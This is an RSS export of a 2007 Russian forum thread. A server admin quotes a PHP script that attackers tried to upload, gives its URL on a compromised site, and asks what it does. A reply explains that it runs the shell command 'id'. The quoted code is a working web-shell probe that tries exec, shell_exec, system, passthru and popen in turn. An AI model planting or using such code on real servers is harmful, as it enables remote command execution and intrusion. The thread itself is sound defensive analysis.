<?xml version="1.0" encoding="koi8-r"?>
<rss version="0.91">
<channel>
    <title>OpenForum RSS: Что делает этот скрипт на PHP ?</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/3484.html</link>
    <description>Так как я не особо силен в PHP подскажите что делает вот этот спкриптик, который мне очень усердно пытались загрузить на сервер через апач:&lt;br&gt;&lt;br&gt;Валяется здесь - http://systech-ltd.com.br/store/includes/id.txt, если обратиться на главную страницу, то видно что сайтик хакнули.&lt;br&gt;&lt;br&gt;&amp;lt;?php&lt;br&gt;echo &quot;Mic22&quot;;&lt;br&gt;$cmd=&quot;id&quot;;&lt;br&gt;$eseguicmd=ex($cmd);&lt;br&gt;echo $eseguicmd;&lt;br&gt;function ex($cfe)&#123;&lt;br&gt;$res = &apos;&apos;;&lt;br&gt;if (!empty($cfe))&#123;&lt;br&gt;if(function_exists(&apos;exec&apos;))&#123;&lt;br&gt;&#064;exec($cfe,$res);&lt;br&gt;$res = join(&quot;&#092;n&quot;,$res);&lt;br&gt;&#125;&lt;br&gt;elseif(function_exists(&apos;shell_exec&apos;))&#123;&lt;br&gt;$res = &#064;shell_exec($cfe);&lt;br&gt;&#125;&lt;br&gt;elseif(function_exists(&apos;system&apos;))&#123;&lt;br&gt;&#064;ob_start();&lt;br&gt;&#064;system($cfe);&lt;br&gt;$res = &#064;ob_get_contents();&lt;br&gt;&#064;ob_end_clean();&lt;br&gt;&#125;&lt;br&gt;elseif(function_exists(&apos;passthru&apos;))&#123;&lt;br&gt;&#064;ob_start();&lt;br&gt;&#064;passthru($cfe);&lt;br&gt;$res = &#064;ob_get_contents();&lt;br&gt;&#064;ob_end_clean();&lt;br&gt;&#125;&lt;br&gt;elseif(&#064;is_resource($f = &#064;popen($cfe,&quot;r&quot;)))&#123;&lt;br&gt;$res = &quot;&quot;;&lt;br&gt;while(!&#064;feof($f)) &#123; $res .= &#064;fread($f,1024); &#125;&lt;br&gt;&#064;pclose($f);&lt;br&gt;&#125;&#125;&lt;br&gt;return $res;&lt;br&gt;&#125;&lt;br&gt;exit;&lt;br&gt;</description>

<item>
    <title>Что делает этот скрипт на PHP ? (angra)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/3484.html#1</link>
    <pubDate>Mon, 08 Oct 2007 18:10:39 GMT</pubDate>
    <description>определяет функцию ex, которая пытается выполнить разными способами шелловую команду. В данном случае ей на вход подается команда id&lt;br&gt;</description>
</item>

</channel>
</rss>
